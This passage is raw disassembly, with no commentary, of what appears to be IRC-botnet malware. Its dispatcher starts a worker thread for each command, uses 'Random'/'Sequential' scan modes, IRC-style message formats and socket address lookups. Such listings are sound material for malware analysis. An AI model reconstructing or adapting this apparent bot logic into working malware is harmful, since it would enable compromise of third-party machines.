		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_406B44
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h


loc_406B44:				; CODE XREF: sub_401AA1+5085j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		jmp	short loc_406B5E
; ---------------------------------------------------------------------------


loc_406B52:				; CODE XREF: sub_401AA1+50D0j
		lea	eax, [ebp+var_22B0]
		push	eax
		call	sub_418B3C


loc_406B5E:				; CODE XREF: sub_401AA1+50AFj
		lea	eax, [ebp+var_22B0]
		push	4
		push	eax
		call	sub_4147F5
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406B52
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_406B78:				; CODE XREF: sub_401AA1+4F28j
		push	[ebp+arg_10]
		call	sub_4184D9
		push	edi
		mov	[ebp+var_370], eax
		call	sub_4184D9
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_4184D9
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_406BB1
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_406BB1:				; CODE XREF: sub_401AA1+5105j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_406BBE
		mov	[ebp+var_36C], ecx


loc_406BBE:				; CODE XREF: sub_401AA1+5115j
		push	[ebp+arg_18]
		call	sub_4184D9
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_406BE0
		mov	[ebp+var_368], eax


loc_406BE0:				; CODE XREF: sub_401AA1+5137j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_434898, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_406C2F
		mov	edi, offset dword_434898


loc_406BF7:				; CODE XREF: sub_401AA1+5170j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C15
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_406BF7
		jmp	short loc_406C2F
; ---------------------------------------------------------------------------


loc_406C15:				; CODE XREF: sub_401AA1+5166j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_434898[ecx]
		mov	[ebp+var_370], ecx


loc_406C2F:				; CODE XREF: sub_401AA1+514Fj
					; sub_401AA1+5172j
		cmp	[ebp+var_370], ebx
		jnz	short loc_406C41
		push	offset unk_42E0C4
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_406C41:				; CODE XREF: sub_401AA1+5194j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_406C7C
		cmp	byte ptr [edi],	23h
		jz	short loc_406C7C
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_4186E0
		push	78h
		push	edi
		call	sub_418D10
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_406D56
; ---------------------------------------------------------------------------


loc_406C7C:				; CODE XREF: sub_401AA1+51A9j
					; sub_401AA1+51AEj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_406C9E
		cmp	[ebp+var_8FE], bl
		jnz	short loc_406C9E
		cmp	[ebp+var_8EE], bl
		jnz	short loc_406C9E
		push	offset unk_42E090
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_406C9E:				; CODE XREF: sub_401AA1+51E1j
					; sub_401AA1+51E9j ...
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CDE8C	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_418350
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_406D50
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_418BA0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_406D44


loc_406D22:				; CODE XREF: sub_401AA1+52A1j
		cmp	eax, ebx
		jz	short loc_406D44
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_418BA0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_406D22


loc_406D44:				; CODE XREF: sub_401AA1+527Fj
					; sub_401AA1+5283j
		mov	[ebp+var_344], 1
		jmp	short loc_406D56
; ---------------------------------------------------------------------------


loc_406D50:				; CODE XREF: sub_401AA1+5259j
		mov	[ebp+var_344], ebx


loc_406D56:				; CODE XREF: sub_401AA1+51D6j
					; sub_401AA1+52ADj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_4186E0
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_406DA7


loc_406D94:				; CODE XREF: sub_401AA1+5329j
		push	esi


loc_406D95:				; CODE XREF: sub_401AA1+5313j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 0Ch
		jmp	short loc_406DD2
; ---------------------------------------------------------------------------


loc_406DA7:				; CODE XREF: sub_401AA1+52F1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_406DB6
		cmp	byte ptr [eax],	23h
		jnz	short loc_406DB6
		push	eax
		jmp	short loc_406D95
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: sub_401AA1+530Bj
					; sub_401AA1+5310j
		mov	esi, offset aWm_0 ; "#wm##"
		push	offset byte_4400B4
		push	esi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406D94
		mov	[ebp+var_3F4], bl


loc_406DD2:				; CODE XREF: sub_401AA1+5304j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_406DE4
		mov	eax, offset aSequential	; "Sequential"


loc_406DE4:				; CODE XREF: sub_401AA1+533Cj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42E028
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40A130
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40B361
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_406E75
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DFF0
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_406E6D:				; CODE XREF: sub_401AA1+53DAj
		push	32h
		call	dword_424078	; Sleep


loc_406E75:				; CODE XREF: sub_401AA1+53B9j
		cmp	[ebp+var_340], ebx
		jz	short loc_406E6D
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_406E82:				; CODE XREF: sub_401AA1+46ADj
					; sub_401AA1+46C4j
		push	[ebp+arg_10]
		call	sub_409B6B
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_4184D9
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_4184D9
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_4184D9
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_418350
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42DFA0
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40A130
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40B776
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_406F7A
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DF60
		jmp	loc_403847
; ---------------------------------------------------------------------------


loc_406F72:				; CODE XREF: sub_401AA1+54DFj
		push	32h
		call	dword_424078	; Sleep


loc_406F7A:				; CODE XREF: sub_401AA1+54BEj
		cmp	[ebp+var_4D0], ebx
		jz	short loc_406F72
		jmp	loc_403856
; ---------------------------------------------------------------------------


loc_406F87:				; CODE XREF: sub_401AA1+4670j
					; sub_401AA1+4687j
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		cmp	byte_440E50[eax], bl
		jz	loc_4089AE
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	edi
		call	sub_417D40
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_417D40
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417D40
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_418660
		mov	esi, eax
		lea	eax, [ebp+var_2C0]
		push	esi
		push	offset dword_42DF54
		push	eax
		call	sub_4185E6
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_4089AE
		push	[ebp+arg_10]
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jle	loc_4089AE
		push	[ebp+arg_10]
		call	sub_4184D9
		cmp	eax, 400h
		pop	ecx
		jge	loc_4089AE
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		push	dword_440E44[eax]
		call	sub_408BC1
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_440C38[eax], 73h
		jnz	loc_4089AE
		push	esi
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440E50
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_407077:				; CODE XREF: sub_401AA1+56D8j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		jmp	loc_403BAE
; ---------------------------------------------------------------------------


loc_4070A1:				; CODE XREF: sub_401AA1+4642j
					; sub_401AA1+4659j
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		cmp	byte_440E50[eax], bl
		jz	loc_4089AE
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	edi
		call	sub_417D40
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_417D40
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417D40
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_418660
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_4089AE
		push	[ebp+arg_10]
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jle	loc_4089AE
		push	[ebp+arg_10]
		call	sub_4184D9
		cmp	eax, 400h
		pop	ecx
		jge	loc_4089AE
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		push	dword_440E44[eax]
		call	sub_408BC1
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_440C38[eax], 73h
		jnz	loc_4089AE
		push	esi
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440E50
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_407077
; ---------------------------------------------------------------------------


loc_40717E:				; CODE XREF: sub_401AA1+4614j
					; sub_401AA1+462Bj
		push	[ebp+arg_10]
		call	dword_4CDF20	; inet_addr
		push	edi
		mov	[ebp+var_680], eax
		call	sub_4184D9
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_4184D9
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_418350
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42DEF8
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40A130
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40B685
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_407263
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DFF0
		jmp	loc_403847
; ---------------------------------------------------------------------------


loc_40725B:				; CODE XREF: sub_401AA1+57C8j
		push	32h
		call	dword_424078	; Sleep


loc_407263:				; CODE XREF: sub_401AA1+57A7j
		cmp	[ebp+var_670], ebx
		jz	short loc_40725B
		jmp	loc_403856
; ---------------------------------------------------------------------------


loc_407270:				; CODE XREF: sub_401AA1+45E6j
					; sub_401AA1+45FDj
		push	[ebp+arg_10]
		call	sub_4184D9
		mov	[ebp+var_ED8], eax
		push	7Fh
		lea	eax, [ebp+var_FDC]
		push	edi
		push	eax
		call	sub_418350
		push	[ebp+arg_0]
		call	sub_4184D9
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_EDC], eax
		lea	eax, [ebp+var_F5C]
		push	80h
		push	eax
		mov	[ebp+var_FE4], esi
		call	sub_4186E0
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_EC8], eax
		push	[ebp+var_EDC]
		lea	eax, [ebp+var_FDC]
		mov	[ebp+var_ECC], edi
		push	eax
		push	[ebp+var_ED8]
		push	esi
		call	sub_409C7B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42DEBC
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	18h
		push	eax
		call	sub_40A130
		add	esp, 24h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FE4]
		push	ebx
		push	eax
		push	offset sub_40F903
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_40735C
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DE78
		jmp	loc_403847
; ---------------------------------------------------------------------------


loc_407354:				; CODE XREF: sub_401AA1+58C1j
		push	32h
		call	dword_424078	; Sleep


loc_40735C:				; CODE XREF: sub_401AA1+58A0j
		cmp	[ebp+var_EC4], ebx
		jz	short loc_407354
		jmp	loc_403856
; ---------------------------------------------------------------------------


loc_407369:				; CODE XREF: sub_401AA1+45B8j
					; sub_401AA1+45CFj
		push	0FFh
		lea	eax, [ebp+var_2128]
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		push	0FFh
		lea	eax, [ebp+var_2028]
		push	edi
		push	eax
		call	sub_418350
		push	[ebp+arg_0]
		mov	[ebp+var_1F24],	ebx
		call	sub_4184D9
		mov	[ebp+var_1F20],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4073C2
		push	10h
		push	ebx
		push	eax
		call	sub_418B25
		add	esp, 0Ch
		mov	[ebp+var_1F18],	eax
		jmp	short loc_4073C8
; ---------------------------------------------------------------------------


loc_4073C2:				; CODE XREF: sub_401AA1+590Bj
		mov	[ebp+var_1F18],	ebx


loc_4073C8:				; CODE XREF: sub_401AA1+591Fj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_4073DF
		push	esi
		call	sub_4184D9
		pop	ecx
		mov	[ebp+var_1F1C],	eax
		jmp	short loc_4073E5
; ---------------------------------------------------------------------------


loc_4073DF:				; CODE XREF: sub_401AA1+592Dj
		mov	[ebp+var_1F1C],	ebx


loc_4073E5:				; CODE XREF: sub_401AA1+593Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_1F14],	eax
		lea	eax, [ebp+var_21A8]
		mov	[ebp+var_21AC],	esi
		push	eax
		call	sub_418350
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_1F0C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F10],	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42DE48
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_2C0]
		push	1Dh
		push	eax
		call	sub_40A130
		add	esp, 28h
		mov	[ebp+var_1F28],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_21AC]
		push	ebx
		push	eax
		push	offset sub_4142F9
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_1F28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_407496
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DE08
		jmp	loc_40696E
; ---------------------------------------------------------------------------


loc_40748E:				; CODE XREF: sub_401AA1+59FBj
		push	32h
		call	dword_424078	; Sleep


loc_407496:				; CODE XREF: sub_401AA1+59DAj
		cmp	[ebp+var_1F08],	ebx
		jz	short loc_40748E
		jmp	loc_40697D
; ---------------------------------------------------------------------------


loc_4074A3:				; CODE XREF: sub_401AA1+458Aj
					; sub_401AA1+45A1j
		push	7Fh
		lea	eax, [ebp+var_2DA0]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_2D20]
		push	edi
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_2CA0]
		push	[ebp+arg_0]
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_2C20]
		push	[ebp+var_88]
		push	eax
		call	sub_418350
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2B9C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2B98],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_2DA4],	esi
		push	offset unk_42DDCC
		push	eax
		call	sub_4185E6
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	12h
		push	eax
		call	sub_40A130
		add	esp, 0Ch
		mov	[ebp+var_2BA0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2DA4]
		push	ebx
		push	eax
		push	offset sub_41383B
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_2BA0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_40757D
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DD94
		jmp	loc_40696E
; ---------------------------------------------------------------------------


loc_407575:				; CODE XREF: sub_401AA1+5AE2j
		push	32h
		call	dword_424078	; Sleep


loc_40757D:				; CODE XREF: sub_401AA1+5AC1j
		cmp	[ebp+var_2B94],	ebx
		jz	short loc_407575
		jmp	loc_40697D
; ---------------------------------------------------------------------------


loc_40758A:				; CODE XREF: sub_401AA1+445Ej
					; sub_401AA1+4475j
		push	7Fh
		lea	eax, [ebp+var_2B8C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_2B0C]
		push	edi
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_2A8C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_2A0C]
		push	[ebp+var_88]
		push	eax
		call	sub_418350
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2988],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2984],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_2B90],	esi
		push	offset unk_42DD64
		push	eax
		call	sub_4185E6
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40A130
		add	esp, 0Ch
		mov	[ebp+var_298C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2B90]
		push	ebx
		push	eax
		push	offset sub_412581
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_298C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_407664
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DD2C
		jmp	loc_40696E
; ---------------------------------------------------------------------------


loc_40765C:				; CODE XREF: sub_401AA1+5BC9j
		push	32h
		call	dword_424078	; Sleep


loc_407664:				; CODE XREF: sub_401AA1+5BA8j
		cmp	[ebp+var_2980],	ebx
		jz	short loc_40765C
		jmp	loc_40697D
; ---------------------------------------------------------------------------


loc_407671:				; CODE XREF: sub_401AA1+4336j
					; sub_401AA1+434Dj ...
		push	7Fh
		lea	eax, [ebp+var_33E0]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_3360]
		push	edi
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_32E0]
		push	[ebp+arg_0]
		push	eax
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_3260]
		push	[ebp+var_88]
		push	eax
		call	sub_418350
		push	20h
		lea	eax, [ebp+var_31E0]
		push	[ebp+arg_8]
		push	eax
		call	sub_418350
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3160],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_315C],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_33E8],	esi
		push	offset unk_42DCFC
		push	eax
		call	sub_4185E6
		add	esp, 50h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40A130
		add	esp, 0Ch
		mov	[ebp+var_33E4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_33E8]
		push	ebx
		push	eax
		push	offset sub_411816
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_33E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_40775C
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DCC4
		jmp	loc_40696E
; ---------------------------------------------------------------------------


loc_407754:				; CODE XREF: sub_401AA1+5CC1j
		push	32h
		call	dword_424078	; Sleep


loc_40775C:				; CODE XREF: sub_401AA1+5CA0j
		cmp	[ebp+var_3158],	ebx
		jz	short loc_407754
		jmp	loc_40697D
; ---------------------------------------------------------------------------


loc_407769:				; CODE XREF: sub_401AA1+4308j
					; sub_401AA1+431Fj
		push	7Fh
		lea	eax, [ebp+var_1524]
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		push	edi
		call	sub_4184D9
		push	3Fh
		mov	[ebp+var_13D4],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14A4]
		push	eax
		call	sub_418350
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4077B4
		push	3Fh
		lea	eax, [ebp+var_1464]
		push	esi
		push	eax
		call	sub_418350
		add	esp, 0Ch


loc_4077B4:				; CODE XREF: sub_401AA1+5CFFj
		lea	eax, [ebp+var_14A4]
		mov	[ebp+var_13D0],	1
		push	eax
		lea	eax, [ebp+var_1524]
		push	[ebp+var_13D4]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DC94
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Fh
		push	eax
		call	sub_40A130
		add	esp, 20h
		mov	[ebp+var_13CC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1528]
		push	ebx
		push	eax
		push	offset sub_4017BF
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_13CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_407843
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42DC58
		jmp	loc_4063E6
; ---------------------------------------------------------------------------


loc_40783B:				; CODE XREF: sub_401AA1+5DA8j
		push	32h
		call	dword_424078	; Sleep


loc_407843:				; CODE XREF: sub_401AA1+5D87j
		cmp	[ebp+var_13C8],	ebx
		jz	short loc_40783B
		jmp	loc_4063F5
; ---------------------------------------------------------------------------


loc_407850:				; CODE XREF: sub_401AA1+42C8j
					; sub_401AA1+42DFj
		push	edi
		call	sub_4184D9
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_17A8],	eax
		jle	loc_407940
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1930]
		push	esi
		push	eax
		call	sub_4186E0
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_17A4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1934],	eax
		lea	eax, [ebp+var_1830]
		push	esi
		push	eax
		call	sub_4186E0
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_17A0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_179C],	eax
		push	offset unk_42DC2C
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_4186E0
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	15h
		push	eax
		call	sub_40A130
		add	esp, 38h
		mov	[ebp+var_17B0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1934]
		push	ebx
		push	eax
		push	offset sub_411C5A
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_17B0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_407933
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DBF4
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_40792B:				; CODE XREF: sub_401AA1+5E98j
		push	32h
		call	dword_424078	; Sleep


loc_407933:				; CODE XREF: sub_401AA1+5E77j
		cmp	[ebp+var_1798],	ebx
		jz	short loc_40792B
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_407940:				; CODE XREF: sub_401AA1+5DBEj
		push	offset unk_42DBBC
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_40794A:				; CODE XREF: sub_401AA1+429Aj
					; sub_401AA1+42B1j
		push	edi
		push	[ebp+arg_10]
		call	dword_4240B4	; MoveFileA
		test	eax, eax
		jz	short loc_40797A
		push	edi
		lea	eax, [ebp+var_2C0]
